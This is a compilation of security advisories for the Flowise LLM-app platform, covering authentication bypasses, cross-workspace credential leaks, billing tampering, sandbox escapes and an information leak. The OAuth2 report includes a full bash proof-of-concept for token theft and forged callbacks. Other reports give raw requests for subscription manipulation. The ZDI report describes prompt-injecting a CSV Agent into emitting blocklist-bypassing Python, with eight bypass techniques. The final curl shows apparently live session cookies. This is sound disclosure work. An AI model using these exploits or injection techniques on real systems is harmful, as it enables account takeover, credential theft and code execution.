See how flowiseai compares to other vendors in security performance
A vulnerability was found in FlowiseAI Flowise up to 3.0.2. This vulnerability affects the function axios.post of the file packages/server/src/controllers/evaluations/index.ts of the component Evaluations Endpoint. The manipulation of the argument Host/X-Forwarded-Proto results in server-side request forgery. The attack may be launched remotely. The exploit has been made public and could be used. Upgrading to version 3.1.3 is able to resolve this issue. The patch is identified as 700137738bcaebefd4709021f6d6b0abcd7df0ac. It is recommended to upgrade the affected component. This vulnerability only affects products that are no longer supported by the maintainer.
Flowise versions before 3.1.4 contain an unauthenticated denial of service vulnerability in the /api/v1/text-to-speech/abort endpoint that accepts user-supplied chatflowId and chatId without ownership verification. Attackers can terminate active chatflow predictions for any user by submitting requests with known chatflow and chat identifiers, causing targeted service disruption.
Flowise is a low-code platform for building LLM applications. In versions up to and including 3.1.3, the POST /api/v1/node-load-method/:name endpoint is mounted without any route-level permission check and invokes component loadMethods with an attacker-controlled nodeName, loadMethod, inputs, and credential value. The selected credential is resolved by raw Credential.id via getCredentialData() and decrypted without verifying Credential.workspaceId against the caller's active or shared workspace, unlike other credential read paths which are workspace-scoped. As a result, an authenticated low-privilege user (or workspace API key) in one workspace can supply a credential ID owned by another workspace and cause Flowise to act as a confused deputy, performing third-party provider calls with the victim workspace's credential and returning provider metadata to the attacker. Statically identified affected load methods include Google Drive listFiles, Google Sheets listSpreadsheets, and AWS DynamoDB KV Storage listTables. The raw credential secret itself is not returned to the attacker. This issue is fixed in version 3.1.4.
Flowise before 3.1.4 contains a broken access control vulnerability in GET /api/v1/organizationuser that allows any authenticated organization member to retrieve the organization owner's full user record including bcrypt password hash and temporary tokens. Attackers can query the endpoint with any user ID to obtain the owner's credential hash for offline cracking, enabling account takeover of the highest-privileged account.
An issue in Flowise 3.1.2 allows a remote attacker to execute arbitrary code via the /api/v1/prediction/<flowId> endpoint
Flowise before 3.1.3 contains an incomplete credential redaction vulnerability in the GET /api/v1/credentials/:id endpoint that returns decrypted secrets in plaintext. Authenticated users with credentials:view permission can retrieve sensitive data including database connection URLs with embedded passwords, cloud service account JSON with private keys, and API keys by calling this endpoint.
Flowise before 3.1.4 fails to validate chatflow visibility in the unauthenticated text-to-speech endpoint, allowing attackers to abuse private chatflow TTS credentials. Unauthenticated attackers can generate unlimited text-to-speech audio using stored OpenAI or ElevenLabs API keys by providing a valid chatflow UUID, incurring costs on the chatflow owner's account.
Flowise before 3.1.3 contains a sandbox escape vulnerability in the vm2 JavaScript sandbox that allows authenticated users to execute arbitrary code by exploiting moment locale validation bypass. Attackers can craft a fake String object with a match function that bypasses path traversal checks to load and execute malicious JavaScript files stored in the document store outside the sandbox.
Flowise versions before 3.1.3 contain a remote code execution vulnerability in the Custom MCP node when CUSTOMMCPPROTOCOL is set to stdio, allowing authenticated users to execute arbitrary commands by manipulating environment variables and command arguments. Attackers can abuse PYTHONWARNINGS and BROWSER environment variables with python3, or leverage the root working directory with node to bypass validation and execute system commands.
Flowise versions before 3.1.3 contain an insecure direct object reference vulnerability in the GET /api/v1/organization/customer-default-source endpoint that allows authenticated attackers to access other customers' payment and profile data by manipulating the customerId parameter. Attackers can enumerate predictable customer IDs to retrieve sensitive information including email addresses, account balances, currency types, and billing configurations without authorization checks.
Flowise before 3.1.3 contains a code injection vulnerability in the CSV Agent node's customReadCSV parameter that allows authenticated attackers to execute arbitrary Python code. The validator uses a static regex blocklist that can be bypassed through obfuscation techniques, enabling attackers to execute code in the unsandboxed pyodide environment with full system access.
Flowise before 3.1.3 contains a regex-based Python code validator bypass in CSV and Airtable Agent nodes that allows unauthenticated attackers to inject malicious code via prompt injection. Attackers can exploit unblocked pandas functions like pd.readjson() to exfiltrate datasets, perform SSRF against internal services, or achieve code execution through the unauthenticated prediction API.
Flowise before 3.1.3 contains a code injection vulnerability in the Airtable Agent node that allows unauthenticated attackers to execute arbitrary Python code by bypassing the pythonCodeValidator blocklist through obfuscation techniques. Attackers can send crafted prompts to a chatflow using the Airtable Agent node to inject malicious Python code that executes in an unsandboxed pyodide environment with full access to the host operating system.
Flowise before 3.1.3 contains a sandbox escape vulnerability in pythonCodeValidator.ts that fails to block native Pandas DataFrame methods like tocsv, tojson, pipe, and query. Authenticated attackers can exploit this to exfiltrate uploaded CSV data or write arbitrary files to the server filesystem.
Flowise (packages flowise and flowise-components) in versions <= 3.1.2 contain a sandbox escape in the vm2/@flowiseai/nodevm JavaScript sandbox. An authenticated user with access to the /api/v1/node-custom-function endpoint can escape the sandbox by supplying attacker-controlled executablePath and args parameters to puppeteer.launch(), which internally invokes childprocess.spawn() outside the sandbox boundary. This allows execution of arbitrary OS commands as the Flowise process user (root in the official Docker image) and arbitrary host file disclosure via Chromium's file:// URL handling. In versions 3.0.8–3.1.2 exploitation requires ALLOWBUILTINDEP=true; earlier versions are exploitable by default. Fixed in 3.1.3.
Flowise versions 2.2.4 through 3.1.4 contain a missing authorization vulnerability in the POST /api/v1/openai-assistants-file/download endpoint that allows unauthenticated attackers to access private files by exploiting the endpoint's inclusion in the global authentication whitelist, which bypasses all session and API key verification. Attackers can supply valid chatflowId, chatId, and fileName identifiers to retrieve files from any chatflow on the instance, including private chatflows belonging to other workspaces or organizations.
Flowise through 3.1.4 contains a server-side request forgery vulnerability in the SSRF guard implemented in httpSecurity.ts, where the DEFAULTDENYLIST omits the Oracle Cloud Infrastructure metadata endpoint 192.0.0.192 and the Alibaba Cloud metadata endpoint 100.100.100.200, allowing authenticated attackers to force the server to issue arbitrary GET requests to cloud instance metadata services. Attackers can send requests to the fetch-links API endpoint with a crafted URL parameter, bypassing deny-list validation including redirect-based bypasses, to reach instance metadata services and expose instance identity data and role credentials on Oracle Cloud Infrastructure or Alibaba Cloud deployments, with unauthenticated access possible when URL-fetching nodes exist in public chatflows.
Flowise through 3.1.4 contains an authentication bypass vulnerability that allows unauthenticated attackers to access the OAuth2 credential refresh endpoint by exploiting prefix-based whitelist matching in the authentication middleware defined in packages/server/src/utils/constants.ts. Attackers can send a POST request to the oauth2-credential refresh route with a trailing credential identifier to bypass all authentication and authorization checks, triggering unauthorized OAuth token rotation against credentials belonging to any workspace and potentially disrupting dependent OAuth integrations. This is a bypass of CVE-2026-41273.
Flowise through 3.1.4 contains an insecure direct object reference vulnerability in the OpenAI Assistants integration that allows authenticated attackers to access credentials belonging to other workspaces by supplying an arbitrary credential UUID to Assistants endpoints without workspace ownership verification. Attackers can enumerate cross-workspace assistant metadata, retrieve file and vector store listings, and upload files into victim workspaces by exploiting the missing workspace-scoped authorization check in the credential lookup logic.
Flowise through 3.1.4 contains a missing authorization vulnerability that allows authenticated workspace members to perform unauthorized document store operations by accessing unprotected mutation endpoints. Attackers holding only view-level permissions can send direct HTTP requests to the upsert and refresh document store routes to trigger document ingestion, refresh vector database contents, consume embedding API credits, and modify knowledge bases used by downstream chatflows.
Summary
The OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is in WHITELISTURLS, meaning it requires no authentication. It decrypts the stored credential (containing clientId, clientSecret, refreshtoken), sends a refresh request to the configured OAuth provider, and returns the new accesstoken directly in the response body.
Root Cause
typescript // packages/server/src/routes/oauth2/index.ts:393-402 res.json({ success: true, message: 'OAuth2 token refreshed successfully', credentialId: credential.id, tokenInfo: { ...tokenData, // ← includes accesstoken! hasnewrefreshtoken: !!tokenData.refreshtoken, expiresat: updatedCredentialData.expiresat } })
Whitelist entry at packages/server/src/utils/constants.ts:40.
Attack Chain
1. Attacker obtains a credential ID (via Finding 2 / public chatflow leak, or enumeration) 2. Attacker calls POST /api/v1/oauth2-credential/refresh/:credentialId (no auth required) 3. Server decrypts credential, sends refresh request to OAuth provider with user's clientsecret 4. Server returns the new accesstoken in the response to the attacker 5. Attacker uses the token to access the victim's connected service (Google, Microsoft, etc.)
Docker Validation
POST /api/v1/oauth2-credential/refresh/fake-uuid returns {"message":"Credential not found"} (not 401 Unauthorized), proving the endpoint processes the request without authentication.
Impact
- OAuth2 access token theft for any connected service - Full access to the victim's third-party accounts (Google, Microsoft, GitHub, etc.) - Client secret transmitted to OAuth provider during refresh - Can also be used for DoS by exhausting refresh token quota
Suggested Fix
Remove the refresh endpoint from WHITELISTURLS and require authentication:
typescript // Remove from WHITELISTURLS in constants.ts // Add authentication check in the route handler
---
Credits
- Shinobi Security - https://github.com/shinobisecurity
-- ABSTRACT -------------------------------------
Trend Micro's Zero Day Initiative has identified a vulnerability affecting the following products: Flowise - Flowise
-- VULNERABILITY DETAILS ------------------------ Version tested: 3.1.1 Installer file: https://github.com/FlowiseAI/Flowise (npm install flowise@3.1.1) Platform tested: Ubuntu 25.10
---
A prompt injection sent to a chatflow using a CSV Agent node can cause the LLM to respond with a malicious Python script that bypasses the blocklist validator and executes in an unsandboxed pyodide environment. An attacker can leverage this to execute arbitrary code in the context of the user running the server.
This vulnerability allows remote attackers to execute arbitrary code on affected installations of Flowise. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the run method of the CSVAgents class. The issue results from insufficient input sanitization when using untrusted data to construct an LLM prompt. An attacker can leverage this vulnerability to execute code in the context of the service account.
Analysis
When a user makes a query against a chatflow using the CSV Agent node, the run method of the CSVAgents class is called. This method reads the CSV file, loads a pyodide environment, and uses pandas to extract column names and data types into a dictionary. It then constructs a system prompt using that dictionary and the user's input, and sends this prompt to a configured LLM. The LLM response is stored in a variable named pythonCode. The method then attempts to validate this value using validatePythonCodeForDataFrame from packages/components/src/pythonCodeValidator.ts before evaluating it in pyodide.
The validator relies on a static regex blocklist. It can be bypassed using obfuscation techniques including string concatenation to reconstruct forbidden identifiers, chr() encoding, aliasing of dangerous builtins, getattribute with concatenated attribute names, frame object inspection, MRO traversal, df.query() expression evaluation, and decorator syntax to invoke exec indirectly. Furthermore, pyodide is not sandboxed from the host operating system, so any Python code that passes the validator is executed with full access to OS interfaces.
From packages/components/nodes/agents/CSVAgent/CSVAgent.ts: ts let pythonCode = '' if (dataframeColDict) { const chain = new LLMChain({ llm: model, prompt: PromptTemplate.fromTemplate(systemPrompt), verbose: process.env.DEBUG === 'true' ? true : false }) const inputs = { dict: dataframeColDict, question: input // user-controlled input substituted into prompt } const res = await chain.call(inputs, [loggerHandler, ...callbacks]) pythonCode = res?.text // LLM response assigned to pythonCode pythonCode = pythonCode.replace(/^[a-z]+\n|\n$/gm, '') }
let finalResult = '' if (pythonCode) { const validation = validatePythonCodeForDataFrame(pythonCode) // blocklist validation applied if (!validation.valid) { throw new Error( Generated code was rejected for security reasons (${ validation.reason ?? 'unsafe construct' }). Please rephrase your question to use only pandas DataFrame operations. ) } try { const code = import pandas as pd\nimport numpy as np\n${pythonCode} finalResult = await pyodide.runPythonAsync(code) // executed in unsandboxed pyodide } catch (error) { throw new Error(Sorry, I'm unable to find answer for question: "${input}" using following code: "${pythonCode}") } }
An unauthenticated attacker with the ability to send prompts to a chatflow using the CSV Agent node may use prompt injection to cause the LLM to respond with a malicious Python script. An authenticated attacker may instead configure a chatflow that points to an attacker-controlled server, which responds to LLM requests with an attacker-controlled Python payload, bypassing the LLM entirely.
Eight bypass variants were demonstrated against the validator:
| Variant | Technique | Bypasses | |---------|-----------|----------| | 0 | @exec decorator with string-concatenated import | /\bexec\s\(/, /\bimport\s\(/ | | 1 | eval aliased to a variable, payload chr()-encoded | /\beval\s\(/, /\bimport\b/ | | 2 | df.query() with chr()-encoded @builtins.import | /\bbuiltins\b/, /\bimport\s\(/ | | 3 | MRO traversal + getattribute + subclasses -> BuiltinImporter.loadmodule | /\bclass\b/, /\bsubclasses\s\(/, /\bmro\b/ | | 4 | Generator frame inspection via giframe.fglobals['loader'] | /\bloader\b/, /\bglobals\b/ | | 5 | Exception traceback frame walk to fbuiltins['import'] | /\bglobals\b/, /\bimport\s\(/ | | 6 | buildclass.self.getattribute('import') | /\bimport\s\(/ | | 7 | vars aliased to a variable, builtins accessed via dict key | /\bvars\s\(/, /\bbuiltins\b/, /\bimport\s\(/ |
Repro
The proof of concept (poc.py) has three modes of operation:
mode = "server": Starts a malicious server that responds to "/api/chat" requests with a JSON object containing an LLM response with the selected attack payload.
mode = "chatflow": Authenticates to the Flowise server, creates a chatflow with a CSV Agent node configured to use a ChatOllama model pointed at the malicious server, and triggers a prediction to execute the payload.
mode = "promptinjection": Sends a prompt injection payload directly to an existing chatflow's prediction endpoint. Due to the nature of LLM responses, it may take multiple attempts or require a different injection technique depending on the model used.
python3 poc.py --mode [server OR chatflow OR promptinjection] [--user <USER> --passwd <PASSWORD> --host <HOST> --rhost <RHOST> --rport <RPORT> --lport <LPORT> --port <PORT> --cmd <CMD> --attack <ATTACK> --chatflowid <CHATID>]
-- CREDIT --------------------------------------- This vulnerability was discovered by: Dre Cura (@drecura) of TrendAI Research
Summary Several organization billing endpoints accept attacker-controlled Stripe identifiers (subscriptionId) without verifying that the identifier belongs to the authenticated user's organization. This allows an authenticated attacker to perform unauthorized Stripe subscription operations on other tenants. As a result, an authenticated user can manipulate the Stripe subscription of another organization by supplying a victim organization's subscriptionId.
This allows attackers to perform unauthorized billing operations such as changing subscription plans or modifying seat quantities, resulting in potential financial impact and service disruption.
Details Multiple organization billing endpoints accept subscriptionId directly from user input without validating ownership. The server relies on a client-supplied Stripe subscription identifier rather than resolving the subscription from the authenticated user's organization context.
File
packages/server/src/enterprise/routes/organization.route.ts
Affected routes:
typescript router.post('/update-additional-seats', organizationController.updateAdditionalSeats) router.post('/update-subscription-plan', organizationController.updateSubscriptionPlan) updateSubscriptionPlan
File
packages/server/src/enterprise/controllers/organization.controller.ts
typescript public async updateSubscriptionPlan(req: Request, res: Response, next: NextFunction) { const { subscriptionId, newPlanId, prorationDate } = req.body
const identityManager = getRunningExpressApp().identityManager
const result = await identityManager.updateSubscriptionPlan( req, subscriptionId, newPlanId, prorationDate )
return res.status(StatusCodes.OK).json(result) }
The server trusts the user-supplied subscriptionId and forwards it to the Stripe integration layer.
Missing validation: subscriptionId belongs to req.user.activeOrganization
updateAdditionalSeats
typescript public async updateAdditionalSeats(req: Request, res: Response, next: NextFunction) { const { subscriptionId, quantity, prorationDate } = req.body
const identityManager = getRunningExpressApp().identityManager
const result = await identityManager.updateAdditionalSeats( subscriptionId, quantity, prorationDate )
return res.status(StatusCodes.OK).json(result) }
Again, the subscriptionId is taken directly from the request body without verifying ownership.
PoC Step 1 - Obtain victim subscriptionId
This identifier may be obtained via the organization read endpoint or other exposed references.
Example:
subYYYYYYYYYYYY
Step 2 - Modify victim subscription
http POST /api/v1/organization/update-subscription-plan Host: target.example.com Cookie: token=<attacker-session> Content-Type: application/json
{ "subscriptionId": "subYYYYYYYYYYYY", "newPlanId": "freeplanid", "prorationDate": 1735689600 }
Step 3 - Change seat quantity
http POST /api/v1/organization/update-additional-seats Host: target.example.com Cookie: token=<attacker-session> Content-Type: application/json
{ "subscriptionId": "subYYYYYYYYYYYY", "quantity": 0, "prorationDate": 1735689600 }
Impact An authenticated attacker can manipulate the Stripe subscription of other organizations.
Possible consequences include:
- Unauthorized subscription upgrades to higher-priced plans - Manipulation of paid seat quantities leading to unintended charges - Service disruption through plan downgrades
Because the vulnerability allows cross-tenant manipulation of billing resources, it represents a high-impact authorization flaw.
Flowise Security Audit Report Date: 2026-03-17 Researcher: Dimpal Jadhav (jadhavdimpy@gmail.com) GitHub: https://github.com/Dimpyj1604 Target: FlowiseAI/Flowise (latest main branch) Version: flowise-components@3.1.0
FINDING 1: Missing Authorization on Execution Update Endpoint Severity: HIGH (CVSS ~7.5) Type: CWE-862 (Missing Authorization) File: packages/server/src/routes/executions/index.ts:11
Description: The PUT /api/v1/executions/:id endpoint lacks the checkAnyPermission() middleware that protects all other execution endpoints (GET, DELETE). Any authenticated user — regardless of their assigned permissions — can modify any execution record.
Evidence: typescript // Line 7 - GET has permission check router.get('/', checkAnyPermission('executions:view'), executionController.getAllExecutions)
// Line 11 - PUT has NO permission check router.put(['/', '/:id'], executionController.updateExecution) // <-- MISSING checkAnyPermission
// Line 14 - DELETE has permission checkadvisory1executionauthbypass router.delete('/:id', checkAnyPermission('executions:delete'), executionController.deleteExecutions)
Impact: Privilege escalation. A low-privileged user with any valid API key can modify execution state, data, and metadata of any execution in their workspace. Could be used to manipulate workflow execution results or inject data.
Reproduction: bash curl -X PUT https://TARGET/api/v1/executions/EXECUTIONID \ -H "Authorization: Bearer LOWPRIVAPIKEY" \ -H "Content-Type: application/json" \ -d '{"state": "FINISHED", "data": "MANIPULATED"}'
Summary
Three OAuth2 credential endpoints look up credentials by id alone with no workspaceId filter. Two of these endpoints (callback, refresh) are whitelisted from all authentication. This allows:
1. Cross-workspace credential access — Any authenticated user can initiate OAuth2 flows against credentials belonging to other workspaces. 2. Unauthenticated token injection — An unauthenticated attacker can forge OAuth2 callbacks to overwrite tokens in any credential. 3. Unauthenticated token refresh — An unauthenticated attacker can refresh tokens for any credential.
---
Root Cause
Vulnerable code: no workspace scoping
All three OAuth2 handlers query the Credential table by id only:
packages/server/src/routes/oauth2/index.ts:80-82 (authorize) typescript const credential = await credentialRepository.findOneBy({ id: credentialId // Missing: workspaceId filter })
packages/server/src/routes/oauth2/index.ts:183-185 (callback) typescript const credential = await credentialRepository.findOneBy({ id: state as string // Missing: workspaceId filter })
packages/server/src/routes/oauth2/index.ts:314-316 (refresh) typescript const credential = await credentialRepository.findOneBy({ id: credentialId // Missing: workspaceId filter })
Correct pattern (same codebase)
The standard credential service correctly enforces workspace isolation:
packages/server/src/services/credentials/index.ts:130-132 typescript const credential = await appServer.AppDataSource.getRepository(Credential).findOneBy({ id: credentialId, workspaceId: workspaceId // <-- Workspace scoping present })
Authentication bypass via whitelist
packages/server/src/utils/constants.ts:40-41 typescript export const WHITELISTURLS = [ // ... '/api/v1/oauth2-credential/callback', // line 40 '/api/v1/oauth2-credential/refresh', // line 41 // ... ]
packages/server/src/index.ts:223-225 — prefix-matched whitelist skips all auth: typescript const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url)) if (isWhitelisted) { next() // No JWT verification, no API key check }
---
Attack Scenarios
Scenario A: Cross-Workspace Credential Metadata Leak
An authenticated user in Workspace A initiates an OAuth2 authorize flow for a credential belonging to Workspace B. The server returns an authorization URL containing the victim credential's clientid, scope, and redirecturi.
POST /api/v1/oauth2-credential/authorize/<VICTIMCREDENTIALUUID> Cookie: connect.sid=<ATTACKERSESSION>
Response: json { "success": true, "credentialId": "<VICTIMCREDENTIALUUID>", "authorizationUrl": "https://provider.com/oauth2/authorize?clientid=LEAKEDCLIENTID&scope=LEAKEDSCOPE&...", "redirectUri": "https://flowise-instance/api/v1/oauth2-credential/callback" }
Scenario B: Unauthenticated Token Injection via Forged Callback
The callback endpoint requires no authentication and uses the state parameter as the credential lookup key. An attacker who controls an OAuth2 provider (or MitMs the flow) can inject arbitrary tokens into any credential.
GET /api/v1/oauth2-credential/callback?code=ATTACKERAUTHCODE&state=<VICTIMCREDENTIALUUID> (No authentication required)
The server exchanges the code at the credential's accessTokenUrl, and whatever tokens the provider returns are encrypted and stored into the victim's credential record (line 271):
typescript await credentialRepository.update(credential.id, { encryptedData, // Contains attacker-controlled token data updatedDate: new Date() })
Scenario C: Unauthenticated Token Refresh
An attacker can refresh any credential's OAuth2 tokens without authentication. The server reads the stored refreshtoken, exchanges it at the accessTokenUrl, and returns fresh token metadata.
POST /api/v1/oauth2-credential/refresh/<VICTIMCREDENTIALUUID> (No authentication required)
Response: json { "success": true, "credentialId": "<VICTIMCREDENTIALUUID>", "tokenInfo": { "accesstoken": "new-access-token-value", "tokentype": "Bearer", "expiresin": 3600, "hasnewrefreshtoken": false, "expiresat": "2026-04-13T12:00:00.000Z" } }
The fresh accesstoken is returned directly in the response body (line 393-401), giving the attacker a valid OAuth2 token for whatever service the victim credential is connected to.
---
Proof of Concept
Prerequisites
- A running Flowise instance with at least two workspaces (Workspace A and Workspace B) - An OAuth2 credential configured in Workspace B (the victim) - The credential UUID of the victim credential (obtainable by any member of Workspace B, or via IDOR — see Finding 4)
Step 1 — Confirm unauthenticated refresh endpoint is reachable
bash No cookies, no Bearer token — completely unauthenticated FLOWISEURL="https://TARGETINSTANCE" VICTIMCREDID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
curl -s -X POST "${FLOWISEURL}/api/v1/oauth2-credential/refresh/${VICTIMCREDID}" \ -H "Content-Type: application/json"
Expected result if credential exists and has a refresh token: json { "success": true, "message": "OAuth2 token refreshed successfully", "credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", "tokenInfo": { "accesstoken": "<VALIDACCESSTOKEN>", "tokentype": "Bearer", "expiresin": 3600, "hasnewrefreshtoken": false, "expiresat": "2026-04-13T..." } }
Expected result if credential not found: json { "success": false, "message": "Credential not found" }
Step 2 — Cross-workspace authorize (requires any valid session)
bash Attacker is authenticated in Workspace A They target a credential UUID from Workspace B ATTACKERCOOKIE="connect.sid=s%3A..."
curl -s -X POST "${FLOWISEURL}/api/v1/oauth2-credential/authorize/${VICTIMCREDID}" \ -H "Cookie: ${ATTACKERCOOKIE}" \ -H "Content-Type: application/json"
Expected result — victim credential's OAuth2 config is leaked: json { "success": true, "credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", "authorizationUrl": "https://login.microsoftonline.com/.../authorize?clientid=VICTIMCLIENTID&scope=VICTIMSCOPES&...", "redirectUri": "https://TARGETINSTANCE/api/v1/oauth2-credential/callback" }
Step 3 — Forge callback to inject attacker-controlled tokens
bash Attacker sets up a rogue OAuth2 provider that returns crafted tokens, OR intercepts a legitimate flow. The state parameter is the victim credential UUID.
curl -s "${FLOWISEURL}/api/v1/oauth2-credential/callback?code=ATTACKERCODE&state=${VICTIMCREDID}"
The server POSTs the code to the credential's accessTokenUrl. If the attacker controls the OAuth2 provider (or has a valid code), the returned tokens are written into the victim's credential.
Full automated PoC script
bash #!/usr/bin/env bash set -euo pipefail
---- Configuration ---- FLOWISEURL="${1:?Usage: $0 <flowiseurl> <victimcredentialuuid> [attackercookie]}" VICTIMCREDID="${2:?Usage: $0 <flowiseurl> <victimcredentialuuid> [attackercookie]}" ATTACKERCOOKIE="${3:-}"
echo "=== OAuth2 Cross-Workspace Credential Hijacking PoC ===" echo "Target: ${FLOWISEURL}" echo "Credential: ${VICTIMCREDID}" echo ""
--- Attack Vector 1: Unauthenticated token refresh --- echo "[1] Attempting unauthenticated token refresh..." REFRESHRESP=$(curl -s -w "\n%{httpcode}" -X POST \ "${FLOWISEURL}/api/v1/oauth2-credential/refresh/${VICTIMCREDID}" \ -H "Content-Type: application/json")
HTTPCODE=$(echo "${REFRESHRESP}" | tail -1) BODY=$(echo "${REFRESHRESP}" | head -n -1)
if [ "${HTTPCODE}" = "200" ]; then echo "[!] VULNERABLE — Unauthenticated token refresh succeeded" echo " Response: ${BODY}" | head -c 500 echo "" elif echo "${BODY}" | grep -q "Credential not found"; then echo "[] Credential not found (UUID may be invalid)" elif echo "${BODY}" | grep -q "Missing required"; then echo "[] Credential exists but has no refreshtoken (no prior OAuth2 flow)" echo " This still confirms the endpoint is reachable without auth" else echo "[] HTTP ${HTTPCODE}: ${BODY}" | head -c 300 fi echo ""
--- Attack Vector 2: Cross-workspace authorize (needs session) --- if [ -n "${ATTACKERCOOKIE}" ]; then echo "[2] Attempting cross-workspace authorize..." AUTHRESP=$(curl -s -w "\n%{httpcode}" -X POST \ "${FLOWISEURL}/api/v1/oauth2-credential/authorize/${VICTIMCREDID}" \ -H "Cookie: ${ATTACKERCOOKIE}" \ -H "Content-Type: application/json")
HTTPCODE=$(echo "${AUTHRESP}" | tail -1) BODY=$(echo "${AUTHRESP}" | head -n -1)
if [ "${HTTPCODE}" = "200" ]; then echo "[!] VULNERABLE — Cross-workspace credential access confirmed" echo " Leaked authorization URL:" echo "${BODY}" | python3 -m json.tool 2>/dev/null || echo " ${BODY}" | head -c 500 else echo "[] HTTP ${HTTPCODE}: ${BODY}" | head -c 300 fi else echo "[2] Skipped cross-workspace authorize (no attacker cookie provided)" fi echo ""
--- Attack Vector 3: Confirm callback is unauthenticated --- echo "[3] Confirming callback endpoint is unauthenticated..." CALLBACKRESP=$(curl -s -w "\n%{httpcode}" \ "${FLOWISEURL}/api/v1/oauth2-credential/callback?code=poctestcode&state=${VICTIMCREDID}")
HTTPCODE=$(echo "${CALLBACKRESP}" | tail -1)
Any response other than 401/403 confirms the endpoint is reachable without auth. A 400 with "tokenexchangefailed" means the endpoint processed the request (tried to exchange the code) — it just failed at the external provider. if [ "${HTTPCODE}" = "401" ] || [ "${HTTPCODE}" = "403" ]; then echo "[] Callback endpoint returned ${HTTPCODE} — auth is enforced (NOT vulnerable)" else echo "[!] VULNERABLE — Callback endpoint reachable without auth (HTTP ${HTTPCODE})" echo " The server attempted to process the OAuth2 callback." echo " With a valid authorization code, tokens would be written to the credential." fi
echo "" echo "=== PoC Complete ==="
---
Impact
| Vector | Auth Required | Impact | |--------|--------------|--------| | Credential metadata leak via /authorize | Low (any session) | Exposes clientid, scope, redirecturi from any workspace's credential | | Token injection via /callback | None | Overwrite any credential's stored OAuth2 tokens with attacker-controlled values | | Token theft via /refresh | None | Obtain a fresh accesstoken for any credential's connected service (Microsoft 365, Google, etc.) |
Chained impact: An attacker who obtains a single credential UUID (via IDOR, log exposure, or brute-force of UUIDs) can silently refresh and steal OAuth2 access tokens for external services like Microsoft Graph, Google Workspace, or any custom OAuth2 provider — without any authentication to the Flowise instance.
---
Affected Components
| File | Lines | Issue | |------|-------|-------| | packages/server/src/routes/oauth2/index.ts | 80-82 | findOneBy({ id }) — no workspaceId | | packages/server/src/routes/oauth2/index.ts | 183-185 | findOneBy({ id: state }) — no workspaceId | | packages/server/src/routes/oauth2/index.ts | 314-316 | findOneBy({ id }) — no workspaceId | | packages/server/src/utils/constants.ts | 40 | /callback whitelisted from auth | | packages/server/src/utils/constants.ts | 41 | /refresh whitelisted from auth |
---
Remediation
1. Add workspaceId to all credential lookups in the OAuth2 routes, matching the pattern already used in services/credentials/index.ts:130-132:
typescript // Before (vulnerable) const credential = await credentialRepository.findOneBy({ id: credentialId })
// After (fixed) const credential = await credentialRepository.findOneBy({ id: credentialId, workspaceId: req.user?.activeWorkspaceId })
2. Remove /callback and /refresh from WHITELISTURLS or implement a signed, time-limited state token that authenticates the callback without a session.
3. Replace the state parameter with a cryptographically random nonce bound to the user's session (see also Finding 8).
4. Do not return accesstoken in the /refresh response body. The token should only be stored server-side in the encrypted credential data, never sent to the caller.
---
Summary The GET /api/v1/upsert-history endpoint returns the entire server-wide upsert history (response size >100MB) instead of being scoped to the requesting user/tenant/workspace. The response includes sensitive configuration data (e.g., Vector Store settings such as Qdrant Server URL and collection name), resulting in a High severity information disclosure that may enable further targeted attacks.
Details - Affected endpoint: GET /api/v1/upsert-history - Observed behavior: The API returns global upsert history for the whole server, indicating missing/insufficient: - Authorization checks (RBAC/user-based access control) - Data scoping (workspace/project/tenant isolation) - Pagination/limits (excessive data exposure and very large responses) - Sensitive data exposure: The returned history contains integration parameters and infrastructure details. Example excerpt from the response: json { "label": "Qdrant", "name": "qdrant", "category": "Vector Stores", "id": "qdrant0", "paramValues": [ { "label": "Qdrant Server URL", "name": "qdrantServerUrl", "type": "string", "value": "https://7f60f255-f7fd-4a1c-a734-fbcf904f9f85.europe-west3-0.gcp.cloud.qdrant.io" }, { "label": "Qdrant Collection Name", "name": "qdrantCollection", "type": "string", "value": "fair-herring-azure" }, { "label": "Vector Dimension", "name": "qdrantVectorDimension", "type": "number", "value": 1536 }, { "label": "Content Key", "name": "contentPayloadKey", "type": "string", "value": "content" }, { "label": "Metadata Key", "name": "metadataPayloadKey", "type": "string", "value": "metadata" }, { "label": "Similarity", "name": "qdrantSimilarity", "type": "options", "value": "Cosine" } ] }
POC
1. Using curl and call the enpoint GET /api/v1/upsert-history, sever returns the entire server-wide upsert history curl 'https://cloud.flowiseai.com/api/v1/upsert-history' -X GET -H 'Host: cloud.flowiseai.com' -H 'Accept: application/json, text/plain, /' -H 'Accept-Language: en-US,en;q=0.9' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x8664; rv:147.0) Gecko/20100101 Firefox/147.0' -H 'X-Request-From: internal' -H 'Referer: https://cloud.flowiseai.com/document-stores/vector/27d7e649-72c9-4333-836f-0a32b7ecda57/719bc75c-5810-4d22-aa03-35c7831b8819' -H 'If-None-Match: W/"156-Xbc+zqRKlJRZDUydYMybuU4SQnY"' -H 'Connection: keep-alive' -H 'Cookie: gaDG9QMLV4DR=GS2.1.s1773632276$o1$g0$t1773632915$j60$l0$h0; ga=GA1.1.938844242.1773632276; cfclearance=Ug4PTMCbO8G.9n7ibaRBT.Y74flswLTgbR6V4qQbKUE-1773715307-1.2.1.1-2XGkql2bE8imFOsQJuw0x8yM9XW7QWbEe8ALEZ39Bm03kZu.vJLusY5cRurAooKcK0XuqTjWgibQXYwWF91LbQZIXFefNzXuz6f8O7VzY5VMh9p0xICarIdDdB0hWfriItN1qbu00tqEmDgEv2biNpNETXF3nC0wByJmhNWOcSh95lBdQ5vALJQ0hc7pzhbPh.OuLbLtcCOlEv1YbwZWMSynj3hglpCeVkWqkM; connect.sid=s%3Axrkhl0YSNjvydmo24ASe3ezLStuedRCv.JABLEZmfWP74D9zGvFyDEELHFXqvDxHRnN3mJBhsKX8; 